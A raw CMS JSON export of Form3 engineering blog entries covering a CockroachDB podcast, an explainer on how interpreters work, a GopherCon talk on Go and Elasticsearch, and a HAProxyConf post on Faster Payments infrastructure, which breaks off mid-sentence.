DB",[],[26002],{"type":25,"text":10702,"spans":26003},[],{"link_type":491,"key":26005,"url":26006},"2f98d013-a5b5-4feb-9736-9f74454773b0","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-23-tech-running-cockroach-db-mmjHHfC2",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$d35dfb42-1eb5-4dde-86ab-f417f633227b",{"variation":437,"version":438,"items":26015,"primary":26016,"id":26057,"slice_type":468,"slice_label":5},[],{"body":26017},[26018,26021,26024,26027,26033,26039,26045,26051],{"type":746,"text":26019,"spans":26020},"Introduction to CockroachDB",[],{"type":25,"text":26022,"spans":26023},"The elevator pitch of CockroachDB is that it is a horizontally scalable, relational database.",[],{"type":25,"text":26025,"spans":26026},"CockroachDB bridges the gap between the existing database offerings. It gives you a SQL database that is Postgres dialect compatible, ACID compliance and horizontally scalability by adding more nodes. It can also be run in any public and private cloud provider, or any hardware.",[],{"type":25,"text":26028,"spans":26029},"CockroachDB provides serialializable isolation, which protects from all data anomalies.",[26030],{"start":703,"end":9202,"type":489,"data":26031},{"link_type":491,"url":26032},"https:\u002F\u002Fwww.postgresql.org\u002Fdocs\u002F9.5\u002Ftransaction-iso.html#:~:text=Serializable%20Isolation%20Level",{"type":25,"text":26034,"spans":26035},"In a cluster, nodes use RAFT based consensus. Nodes must agree on the value of the data before it is written, offering immediate consistency. This is especially important for industries like Form3, where we deal with payments data which must be absolutely consistent. ",[26036],{"start":9799,"end":2674,"type":489,"data":26037},{"link_type":491,"url":26038},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fblog\u002Fraft-is-so-fetch\u002F",{"type":25,"text":26040,"spans":26041},"CockroachDB presents itself as a normal relational database with a SQL API, but under the bonnet it splits up the data into key-value stores and moves them across nodes. It uses forked version of RocksDB, which is a consistent key value store, and then allocates the data across the cluster nodes. This makes it easy to add and remove nodes from the CockroachDB cluster.",[26042],{"start":19964,"end":15636,"type":489,"data":26043},{"link_type":491,"url":26044},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fblog\u002Fcockroachdb-on-rocksd\u002F",{"type":1151,"text":26046,"spans":26047},"Data is split in 512 MiB data ranges. Nearly every operation is done at the range level.",[26048],{"start":6911,"end":3852,"type":489,"data":26049},{"link_type":491,"url":26050},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fdocs\u002Fstable\u002Farchitecture\u002Fdistribution-layer.html#range-splits",{"type":1151,"text":26052,"spans":26053},"Each range has a replication factor of 3. One of the replicated ranges gets elected as a leaseholder and it controls all the reads and writes on that data range. This allows Cockroach to scale the operations on the range level.",[26054],{"start":9315,"end":3964,"type":489,"data":26055},{"link_type":491,"url":26056},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fdocs\u002Fv21.2\u002Farchitecture\u002Freads-and-writes-overview.html","rich_text$9c8a0c59-dafd-4856-9620-f60f59035d14",{"variation":437,"version":438,"items":26059,"primary":26060,"id":26086,"slice_type":468,"slice_label":5},[],{"body":26061},[26062,26065,26068,26074,26080],{"type":746,"text":26063,"spans":26064},"Running CockroachDB",[],{"type":25,"text":26066,"spans":26067},"There are a few different ways to run CockroachDB:",[],{"type":3373,"text":26069,"spans":26070},"Self-hosted allows you to deploy the cluster yourself by downloading the binary or Kubernetes using a Docker image.\nundefinedundefinedundefined",[26071],{"start":398,"end":602,"type":489,"data":26072},{"link_type":491,"url":26073},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fdocs\u002Fstable\u002Fdeploy-cockroachdb-on-premises.html",{"type":3373,"text":26075,"spans":26076},"CockroachDB Cloud is a PaaS offering for CockroachDB, which is proving popular with a lot of small to medium size customers.\nundefinedundefinedundefinedundefined",[26077],{"start":398,"end":6911,"type":489,"data":26078},{"link_type":491,"url":26079},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fblog\u002Fgetting-started-with-cockroachcloud\u002F",{"type":3373,"text":26081,"spans":26082},"CockroachDB Serverless is the newest offering. It is a consumption based model for CockroachDB.\nundefinedundefinedundefined",[26083],{"start":398,"end":7635,"type":489,"data":26084},{"link_type":491,"url":26085},"https:\u002F\u002Fwww.cockroachlabs.com\u002Fblog\u002Fhow-we-built-cockroachdb-serverless\u002F","rich_text$c46337f1-3b5d-433d-abf8-813f4c1e1985",{"id":26088,"uid":26089,"type":25949,"data":26090},"alz1QREAACgAUWiy","ep22-podcast",{"title":26091,"excerpt":26092,"card_image":26093,"published_date":26098,"reading_time":418,"tag":25960,"dek":5,"featured_image":26099,"about_form3":26100,"client_about_heading":5,"client_about_body":26101,"author_name":18970,"author_title":18971,"author_photo":26102,"author_bio":26105,"author_linkedin":26108,"slices":26110,"meta_title":26091,"meta_description":26092},".tech Podcast - How do interpreters work?","Join host Kevin Holditch for a podcast episode on how interpreters work. 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",[26118,26121],{"start":2675,"end":790,"type":489,"data":26119},{"link_type":491,"url":26120},"https:\u002F\u002Finterpreterbook.com\u002F",{"start":26122,"end":26123,"type":489,"data":26124},283,297,{"link_type":491,"url":25989},{"type":25,"text":26126,"spans":26127},"Thorsten goes through the stages of interpreting and adds concrete examples of how each stage fits into the next.",[],"rich_text$d6599659-c789-4fd4-ac40-e0628092f973",{"variation":437,"version":527,"items":26130,"primary":26131,"id":26148,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26132,"body":26136,"cta_label":10704,"cta_link":26139,"aside_type":5,"aside_image":26142,"aside_video":26143,"aside_video_poster":26144,"aside_video_reduced_motion":26145,"aside_video_url":5,"aside_embed":26146,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26147,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[26133],{"type":746,"text":26134,"spans":26135},"Ep 22 .tech - How do interpreters work?",[],[26137],{"type":25,"text":10702,"spans":26138},[],{"link_type":491,"key":26140,"url":26141},"587855bb-3f24-404f-9cf4-5e06bcaf7437","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-22-tech-how-do-interpreters-work-4JYqBPZV",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$604a2073-0267-4320-bc9d-c2a392668cb6",{"variation":437,"version":438,"items":26150,"primary":26151,"id":26184,"slice_type":468,"slice_label":5},[],{"body":26152},[26153,26156,26159,26163,26166,26171,26176,26180],{"type":988,"text":26154,"spans":26155,"direction":445},"Whistle stop tour",[],{"type":25,"text":26157,"spans":26158,"direction":445},"Programming languages can be implemented in one of two ways: by building a compiler or by building an interpreter. An interpreter reads in your program and then executes it by telling the computer\u002FCPU what to do. Examples of interpreted languages are Ruby, Python or Javascript.",[],{"type":25,"text":26160,"spans":26161,"direction":445},"Both compilers and intrepreters give you more expressiveness: write less code to do more! Most of us are used to writing in high level languages such as Go, C# etc. More expresiveness and abstraction give you more building blocks to build bigger programs.",[26162],{"start":9202,"end":685,"type":765},{"type":25,"text":26164,"spans":26165,"direction":445},"The stages of an interpreter are:",[],{"type":1151,"text":26167,"spans":26168,"direction":445},"The lexing\u002Fscanner stage: read the input code as a string and split it up into meaningful tokens which are keywords, values and variable names. This creates the token array.",[26169,26170],{"start":4603,"end":2769,"type":593},{"start":5497,"end":5328,"type":765},{"type":1151,"text":26172,"spans":26173,"direction":445},"The parsing stage: takes in the token array or stream and creates an abstract syntax tree(AST), which is a graph that organises the tokens in a meaningful way. The syntax tree represents conditions and their tokens on their correct tree branches. The parser uses recursion to figure out token precedence.",[26174,26175],{"start":4603,"end":602,"type":593},{"start":3397,"end":6779,"type":765},{"type":1151,"text":26177,"spans":26178,"direction":445},"The evaluation stage: this stage takes the syntax tree and executes it, combining the nodes and branches of the AST using their operators and recursion. Easy peasy!",[26179],{"start":4603,"end":2987,"type":593},{"type":25,"text":26181,"spans":26182,"direction":445},"By comparison, compilation results in an artifact that is executed later. An interpreter looks at your source code and then executes it as quickly as possible. The compiler is interested in making the code runtime as optimal as possible, without caring about the time between code writing and code execution.",[26183],{"start":8472,"end":5574,"type":593},"rich_text$c48e3d53-0516-423b-aeae-e8e2a40df659",{"variation":437,"version":438,"items":26186,"primary":26187,"id":26198,"slice_type":468,"slice_label":5},[],{"body":26188},[26189,26192],{"type":988,"text":26190,"spans":26191,"direction":445},"Interested in being a guest speaker?",[],{"type":25,"text":26193,"spans":26194,"direction":445},"If you enjoyed this episode and would like to be part of the podcast, then please fill in this form and we’ll be in touch. ✍️",[26195],{"start":2651,"end":19482,"type":489,"data":26196},{"link_type":491,"url":26197,"target":493},"https:\u002F\u002Fshare.hsforms.com\u002F1Row5wXcYSkek6ZcbiQKFYg3u1c5","rich_text$3aeac877-dd5a-418f-bc71-0a250c55b84f",{"id":26200,"uid":26201,"type":25949,"data":26202},"alz1RBEAAC0AUWjH","gophercon-elastic",{"title":26203,"excerpt":26204,"card_image":26205,"published_date":26208,"reading_time":2375,"tag":205,"dek":5,"featured_image":26209,"about_form3":26210,"client_about_heading":5,"client_about_body":26211,"author_name":26212,"author_title":26213,"author_photo":26214,"author_bio":26219,"author_linkedin":26223,"slices":26226,"meta_title":26295,"meta_description":26204},"GopherCon UK 2021: How Go powered our use of Elasticsearch to increase the performance of our APIs","We had an interesting scaling problem with a Postgres bottleneck. We determined that Elasticsearch would help us to remove this bottleneck. However, in order to do this we needed a solution to listen to the events from our messaging queues and to create and update the relevant documents in Elasticsearch in order to make this work. Enter Go!",{"dimensions":26206,"alt":413,"copyright":5,"url":414,"id":415,"edit":26207},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-11-26",{},[],[],"Stuart Murray","Senior Engineer",{"dimensions":26215,"alt":26212,"copyright":5,"url":26216,"id":26217,"edit":26218},{"width":5080,"height":5081},"\u002F_prismic-media\u002Fe31b07911dfe7b18-Sols75qex7mnh8AP_a4e4b7c3-fb6f-443f-b7be-f72150e.png","Sols75qex7mnh8AP",{"x":398,"y":398,"zoom":399,"background":400},[26220],{"type":25,"text":26221,"spans":26222},"Stuart is a Senior Engineer at Form3 in the Core Payments Team. Prior to Form3 Stuart was a consultant and developer working across a range of projects in the healthcare, insurtech and stored value payments sectors. Stuart enjoys working deeply with Go but also works with Java, Rust and Python and previously used C#. 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autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"GopherCon UK 2021: Stuart Murray - How Go powered our elastic search\">\u003C\u002Fiframe>","embed$76dbabdf-43eb-4348-bdf2-94cb52a55abf",{"variation":437,"version":438,"items":26246,"primary":26247,"id":26263,"slice_type":468,"slice_label":5},[],{"body":26248},[26249,26251,26254,26257,26260],{"type":746,"text":26154,"spans":26250,"direction":445},[],{"type":25,"text":26252,"spans":26253,"direction":445},"This talk shares some key points in our journey to introduce a solution in Go featuring the Go elasticsearch client:",[],{"type":1151,"text":26255,"spans":26256,"direction":445},"How we structured the solution to maximise maintainability and ease of rapid development;",[],{"type":1151,"text":26258,"spans":26259,"direction":445},"The strengths of Go that were really compelling to our use case; and",[],{"type":1151,"text":26261,"spans":26262,"direction":445},"Some of the challenges we overcame along the way, and lessons learned.",[],"rich_text$6785b32d-d0f5-42c6-8ae0-016a7aa9c16e",{"variation":437,"version":527,"items":26265,"primary":26266,"id":26294,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26267,"body":26268,"cta_label":5,"cta_link":26281,"aside_type":533,"aside_image":26282,"aside_video":26289,"aside_video_poster":26290,"aside_video_reduced_motion":26291,"aside_video_url":5,"aside_embed":26292,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26293,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[26269,26272,26275,26278],{"type":25,"text":26270,"spans":26271,"direction":445},"In terms of key take-aways:",[],{"type":1151,"text":26273,"spans":26274,"direction":445},"Our solution was successful, and Go helped us to produce an efficient implementation with minimal additional complexity",[],{"type":1151,"text":26276,"spans":26277,"direction":445},"The unidirectional architecture allowed us to evolve the solution as we iterated",[],{"type":1151,"text":26279,"spans":26280,"direction":445},"There were some great questions from the community around some of these points - there’s a good Q&A in the video",[],{"link_type":434},{"dimensions":26283,"alt":5,"copyright":5,"url":26286,"id":26287,"edit":26288},{"width":26284,"height":26285},2418,1354,"\u002F_prismic-media\u002F654c3dd7abaf666b-Sl91UHnm7XgEiIDq_0fe427ad-26ec-4907-9fab-905134b.png","Sl91UHnm7XgEiIDq",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$f06bd235-27da-4ce4-b84d-b2f3b948b23e","Gophercon UK 2021: How Go powered our use of Elasticsearch to increase the performance of our APIs",{"id":26297,"uid":26298,"type":25949,"data":26299},"alz1PxEAAC4AUWio","millions-payments-haproxy",{"title":26300,"excerpt":26301,"card_image":26302,"published_date":26305,"reading_time":2375,"tag":205,"dek":5,"featured_image":26306,"about_form3":26307,"client_about_heading":5,"client_about_body":26308,"author_name":26309,"author_title":26310,"author_photo":26311,"author_bio":26316,"author_linkedin":26320,"slices":26323,"meta_title":26300,"meta_description":26301},"HAProxyConf 2021: Processing Millions of Payments Through a Cloud Native Infrastructure with HAProxy","Processing real-time payments requires reliable and secure infrastructure, and as the daily volume at Form3 is expressed in millions, the stakes are extraordinarily high.",{"dimensions":26303,"alt":413,"copyright":5,"url":414,"id":415,"edit":26304},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2022-01-05",{},[],[],"Brendan Devenney","Lead Software Engineer",{"dimensions":26312,"alt":26309,"copyright":5,"url":26313,"id":26314,"edit":26315},{"width":5080,"height":5081},"\u002F_prismic-media\u002F855b252224b46efa-AARAIN7AahtTz8Cp_2385d56e-f867-49cf-8121-deef6da.jpeg","AARAIN7AahtTz8Cp",{"x":398,"y":398,"zoom":399,"background":650},[26317],{"type":25,"text":26318,"spans":26319},"Brendan is a software engineer with a history of defensive programming in high-value environments. He has had an eclectic career path from embedded software instrumentation and performance engineering, through API security and cloud platform architecture, to building the future of banking.",[],{"link_type":491,"key":26321,"url":26322,"target":493},"0cc98341-847b-487d-a463-0324a027d040","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fbrendan-devenney\u002F",[26324,26340,26363,26374,26382,26402,26413,26433,26444,26474,26483,26491,26513,26521,26529,26551,26559,26567,26592,26603,26616,26638,26646,26666,26687,26695,26709],{"variation":437,"version":438,"items":26325,"primary":26326,"id":26339,"slice_type":468,"slice_label":5},[],{"body":26327},[26328],{"type":25,"text":26329,"spans":26330},"Note: This blog post is based on material shared at HAProxyConf 2021 by Brendan Devenney and Piotr Olchawa.",[26331,26334,26336],{"start":1251,"end":9232,"type":489,"data":26332},{"link_type":491,"url":26333,"target":493},"https:\u002F\u002Fwww.haproxyconf.com\u002F",{"start":1797,"end":3290,"type":489,"data":26335},{"link_type":491,"url":26322,"target":493},{"start":1409,"end":6835,"type":489,"data":26337},{"link_type":491,"url":26338,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fpolchawa\u002F","rich_text$566d35aa-df5f-407a-b691-8c5c1e4f4009",{"variation":437,"version":438,"items":26341,"primary":26342,"id":26362,"slice_type":468,"slice_label":5},[],{"body":26343},[26344,26347,26353,26359],{"type":988,"text":26345,"spans":26346,"direction":445},"Too long; didn’t read",[],{"type":3373,"text":26348,"spans":26349,"direction":445},"Kubernetes operators are literally magic.",[26350],{"start":398,"end":7460,"type":489,"data":26351},{"link_type":491,"url":26352,"target":493},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fextend-kubernetes\u002Foperator\u002F",{"type":3373,"text":26354,"spans":26355,"direction":445},"The HAProxy Data Plane API can be used for safe, dynamic, reproducible configuration - no need for any manual work!",[26356],{"start":2707,"end":5574,"type":489,"data":26357},{"link_type":491,"url":26358,"target":493},"https:\u002F\u002Fgithub.com\u002Fhaproxytech\u002Fdataplaneapi",{"type":3373,"text":26360,"spans":26361,"direction":445},"We built a Kubernetes operator to drive the Data Plane API, allowing us to dynamically configure live production load balanacers without fear!",[],"rich_text$f3df8550-b233-49a9-af85-1b18fd8f9602",{"variation":437,"version":438,"items":26364,"primary":26365,"id":26373,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":26366,"caption":5},{"embed_url":26367,"type":2048,"version":2049,"title":26368,"author_name":26369,"author_url":26370,"provider_name":283,"provider_url":2050,"thumbnail_url":26371,"thumbnail_width":2052,"thumbnail_height":2053,"html":26372,"height":2055,"width":2056},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=19lTPoYx0Dg","Processing Millions of Payments Through a Cloud-native Infrastructure with HAProxy - Form3","HAProxy Technologies","https:\u002F\u002Fwww.youtube.com\u002F@HAProxyTechnologies","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002F19lTPoYx0Dg\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F19lTPoYx0Dg?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Processing Millions of Payments Through a Cloud-native Infrastructure with HAProxy - Form3\">\u003C\u002Fiframe>","embed$5803a80b-b7af-44f2-94b7-e0e359bf9d73",{"variation":437,"version":438,"items":26375,"primary":26376,"id":26381,"slice_type":468,"slice_label":5},[],{"body":26377},[26378],{"type":988,"text":26379,"spans":26380,"direction":445},"Faster Payments Scheme",[],"rich_text$0b31afc8-23c0-4c2f-846f-2b013def5fa1",{"variation":437,"version":527,"items":26383,"primary":26384,"id":26401,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26385,"body":26386,"cta_label":5,"cta_link":26390,"aside_type":533,"aside_image":26391,"aside_video":26396,"aside_video_poster":26397,"aside_video_reduced_motion":26398,"aside_video_url":5,"aside_embed":26399,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26400,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[26387],{"type":25,"text":26388,"spans":26389,"direction":445},"As a single-integration payment platform, it is our responsibility to integrate with a rapidly growing list of payment schemes across the world. From international SWIFT payments, to the Single European Payment Area, to a place closer to home – at least for me – in the Faster Payments System.",[],{"link_type":434},{"dimensions":26392,"alt":5,"copyright":5,"url":26393,"id":26394,"edit":26395},{"width":424,"height":10343},"\u002F_prismic-media\u002F5cb16473f2b03612-PFvHlmEU7GIpuoZh_d7671e92-280a-47f2-846e-29d99c7.png","PFvHlmEU7GIpuoZh",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$15f0b418-0317-4cd2-acb4-32a93efa985b",{"variation":437,"version":438,"items":26403,"primary":26404,"id":26412,"slice_type":468,"slice_label":5},[],{"body":26405},[26406,26409],{"type":25,"text":26407,"spans":26408},"We recently delivered a presentation at HAProxyConf 2021 which recounted our quest to become a Faster Payments Gateway - more specifically how HAProxy helped us deal with a complex matrix of networking requirements, security controls, service level agreements, and maintenance schedules. The payments industry is very heavily regulated due to the extraordinarily high stakes.",[],{"type":25,"text":26410,"spans":26411},"Note: The important word to remember throughout this post is “faster”. Faster Payments must be handled in seconds or they will be reversed (returned to sender). There is no room for downtime as downtime has real impact on both the end users and the participant’s brand.",[],"rich_text$20127a12-8d9e-4344-94ca-4573b8763ed4",{"variation":437,"version":438,"items":26414,"primary":26415,"id":26432,"slice_type":468,"slice_label":5},[],{"body":26416},[26417,26420,26426],{"type":988,"text":26418,"spans":26419,"direction":445},"Faster than what?",[],{"type":25,"text":26421,"spans":26422,"direction":445},"The Faster Payments Service interconnects banks in the UK, with its key aim being to reduce bank-to-bank transfer times from the three days in case of BACS – or the “by end of working day” in case of CHAPS - to only a few seconds. You can see the stark contrast in requirements already; the FPS scheme is very ambitious, but also more aligned with the modern world. As such, the scheme expects gateways and participants to be always-on.",[26423],{"start":4603,"end":3485,"type":489,"data":26424},{"link_type":491,"url":26425,"target":493},"https:\u002F\u002Fwww.fasterpayments.org.uk\u002F",{"type":25,"text":26427,"spans":26428,"direction":445},"The stats speak for themselves: the scheme processed over 2.9 billion payments with a combined value of over £2.1 trillion in 2020[ref], with Form3 trending towards 400 million payments processed in 2021. I will leave you to do the maths and work out the percentages here, otherwise I will never sleep again!",[26429],{"start":10956,"end":19450,"type":489,"data":26430},{"link_type":491,"url":26431,"target":493},"https:\u002F\u002Fnewseventsinsights.wearepay.uk\u002Fdata-and-insights\u002Ffaster-payment-system-statistics\u002F","rich_text$c320b721-4d46-4e30-af1e-121309a2f43c",{"variation":437,"version":438,"items":26434,"primary":26435,"id":26443,"slice_type":468,"slice_label":5},[],{"body":26436},[26437,26440],{"type":988,"text":26438,"spans":26439,"direction":445},"Main actors",[],{"type":25,"text":26441,"spans":26442,"direction":445},"The Faster Payments System has three main actors:",[],"rich_text$e4d26351-99a4-40ed-be17-c664df684c79",{"variation":437,"version":527,"items":26445,"primary":26446,"id":26473,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26447,"body":26448,"cta_label":5,"cta_link":26461,"aside_type":533,"aside_image":26462,"aside_video":26468,"aside_video_poster":26469,"aside_video_reduced_motion":26470,"aside_video_url":5,"aside_embed":26471,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26472,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[26449,26452,26458],{"type":3373,"text":26450,"spans":26451,"direction":445},"Participants: the banks which act on behalf of their customers. They connect to a gateway in order to send and receive payments.",[],{"type":3373,"text":26453,"spans":26454,"direction":445},"Gateways: the systems which connect Participants to the Central Infrastructure. In some rare cases, Participants are also Gateways, such as Monzo who famously built their own gateway to take full control of their destiny.",[26455],{"start":2675,"end":18514,"type":489,"data":26456},{"link_type":491,"url":26457,"target":493},"https:\u002F\u002Fmonzo.com\u002Fblog\u002Fhow-we-moved-our-faster-payments-connection-in-house",{"type":3373,"text":26459,"spans":26460,"direction":445},"Central Infrastructure: Sometimes simply referred to as “the scheme,” this is the core of the Faster Payments System through which all payments flow. It is the single source of truth, the ledger, and the deity that we all pray to before bedtime.",[],{"link_type":434},{"dimensions":26463,"alt":5,"copyright":5,"url":26465,"id":26466,"edit":26467},{"width":6011,"height":26464},1137,"\u002F_prismic-media\u002F785a732442b1ca54-r50QSFypwbSqObI3_42201c66-44aa-4a57-986d-52d0942.png","r50QSFypwbSqObI3",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$595d624b-ad47-4165-815b-6c978f79dacb",{"variation":437,"version":438,"items":26475,"primary":26476,"id":26482,"slice_type":468,"slice_label":5},[],{"body":26477},[26478],{"type":25,"text":26479,"spans":26480},"To keep things simple, we will ignore the Bank of England – probably the only time in my career I will ever be able to say that. For the context of this discussion, keep in mind that Form3 act as agateway. This means we have to worry about both Central Infrastructure (Scheme) and Participant connectivity.",[26481],{"start":3304,"end":19848,"type":765},"rich_text$31c01bc4-1e45-41e1-843e-ffe3358ce596",{"variation":437,"version":438,"items":26484,"primary":26485,"id":26490,"slice_type":468,"slice_label":5},[],{"body":26486},[26487],{"type":988,"text":26488,"spans":26489,"direction":445},"Scheme Connectivity",[],"rich_text$f9b454c9-16e6-4249-b347-07c3a95bcd26",{"variation":437,"version":527,"items":26492,"primary":26493,"id":26512,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26494,"body":26495,"cta_label":5,"cta_link":26499,"aside_type":533,"aside_image":26500,"aside_video":26507,"aside_video_poster":26508,"aside_video_reduced_motion":26509,"aside_video_url":5,"aside_embed":26510,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26511,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[26496],{"type":25,"text":26497,"spans":26498,"direction":445},"Integration with the Central Infrastructure is based on persistent connections. These connections are evenly distributed across two data centres for redundancy, but that does not mean we can happily tolerate losing any of these connections.",[],{"link_type":434},{"dimensions":26501,"alt":5,"copyright":5,"url":26504,"id":26505,"edit":26506},{"width":26502,"height":26503},3162,1462,"\u002F_prismic-media\u002Fb9094191efbf75a4-lk3mQqMQaf5rkBt__754ca524-091c-42e6-a8a9-0205f7a.png","lk3mQqMQaf5rkBt_",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$e59f7147-c147-4bbb-bf2f-669495cdc66f",{"variation":437,"version":438,"items":26514,"primary":26515,"id":26520,"slice_type":468,"slice_label":5},[],{"body":26516},[26517],{"type":25,"text":26518,"spans":26519},"All requests must be responded to on the exact connection they were received on. If the connection disappears between the two phases, the payment is lost to the ether. This generally leads to a reversal. That is, an end user sees a transaction fail - bad for them and bad for their trust in the bank.",[],"rich_text$7ac007ba-848c-40d5-8815-ed0d46f28d93",{"variation":437,"version":438,"items":26522,"primary":26523,"id":26528,"slice_type":468,"slice_label":5},[],{"body":26524},[26525],{"type":988,"text":26526,"spans":26527,"direction":445},"Participant Connectivity",[],"rich_text$4feffd1f-f68c-4186-a17f-d9506aedb270",{"variation":437,"version":527,"items":26530,"primary":26531,"id":26550,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26532,"body":26533,"cta_label":5,"cta_link":26537,"aside_type":533,"aside_image":26538,"aside_video":26545,"aside_video_poster":26546,"aside_video_reduced_motion":26547,"aside_video_url":5,"aside_embed":26548,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26549,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[26534],{"type":25,"text":26535,"spans":26536,"direction":445},"On the participant side of the connectivity problem, our architecture requires all traffic to ingress to a single site. This gives us an “open” and a “closed” site. There must always be exactly one open site for the MQ solution to remain operational. MQ itself also uses persistent connections - the architecture is based on unidirectional channels which, when interrupted, cause a complete outage. The death of an MQ channel is equivalent to the death of an HTTP(S) server.",[],{"link_type":434},{"dimensions":26539,"alt":5,"copyright":5,"url":26542,"id":26543,"edit":26544},{"width":26540,"height":26541},1338,902,"\u002F_prismic-media\u002F1edf98302b47e66b-Lv7MPyMtnRx4SPp-_b0dd905b-d089-4d10-881e-e6d21d3.png","Lv7MPyMtnRx4SPp-",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$bd01b571-440a-4dcb-bea1-4574df8daceb",{"variation":437,"version":438,"items":26552,"primary":26553,"id":26558,"slice_type":468,"slice_label":5},[],{"body":26554},[26555],{"type":25,"text":26556,"spans":26557},"To ensure that we have one open site at any given moment, we use the Virtual Router Redundancy Protocol (VRRP). This turns a collection of servers into a virtual router in which, at any time, exactly one member is the master.",[],"rich_text$716eb52c-3be1-48de-ba06-1b54c7d59257",{"variation":437,"version":438,"items":26560,"primary":26561,"id":26566,"slice_type":468,"slice_label":5},[],{"body":26562},[26563],{"type":988,"text":26564,"spans":26565,"direction":445},"Isn’t this an HAProxy article?",[],"rich_text$6e735f9f-9070-40a9-beac-7226c82a5d0e",{"variation":437,"version":527,"items":26568,"primary":26569,"id":26591,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":26570,"body":26571,"cta_label":5,"cta_link":26578,"aside_type":533,"aside_image":26579,"aside_video":26586,"aside_video_poster":26587,"aside_video_reduced_motion":26588,"aside_video_url":5,"aside_embed":26589,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26590,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[26572],{"type":25,"text":26573,"spans":26574,"direction":445},"These virtual routers sit at the edge of the DMZ between Form3 and the extranet (a private network shared with the scheme and our participants). This, unfortunately, rules out the use of the HAProxy Kubernetes Ingress Controller as our HAProxy nodes exist outside of our processing clusters. For those of you who like to skip to the end of a story, a spoiler: we wrote our own controller!",[26575],{"start":22002,"end":25009,"type":489,"data":26576},{"link_type":491,"url":26577,"target":493},"https:\u002F\u002Fgithub.com\u002Fhaproxytech\u002Fkubernetes-ingress",{"link_type":434},{"dimensions":26580,"alt":5,"copyright":5,"url":26583,"id":26584,"edit":26585},{"width":26581,"height":26582},2873,1310,"\u002F_prismic-media\u002F71a694f47282d49d-VuN6iU3z2igYbZf7_d50ba58a-6b8a-4889-882d-372e731.png","VuN6iU3z2igYbZf7",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$508a202a-6409-45d0-937a-565a2cdaab44",{"variation":437,"version":438,"items":26593,"primary":26594,"id":26602,"slice_type":468,"slice_label":5},[],{"body":26595},[26596,26599],{"type":25,"text":26597,"spans":26598},"After passing through the firewall to the DMZ, traffic will be routed to the HAProxy installation at the “open” site. This will then forward the traffic onto the relevant nodes in our Kubernetes cluster.",[],{"type":25,"text":26600,"spans":26601},"How, then, do we dynamically configure HAProxy to be aware of our ever-changing Kubernetes cluster and ensure that this configuration survives scorched earth rebuilds?",[],"rich_text$985f84b8-c9d6-4bcb-9f10-f8701fc29c65",{"variation":437,"version":438,"items":26604,"primary":26605,"id":26615,"slice_type":468,"slice_label":5},[],{"body":26606},[26607,26610],{"type":988,"text":26608,"spans":26609,"direction":445},"Data Plane API",[],{"type":25,"text":26611,"spans":26612,"direction":445},"As some of you will be aware, it is possible to achieve API-driven configuration of HAProxy via the Data Plane API. This runs as a sidecar process, translating API payloads into configuration changes on-disk and managing process reloads when 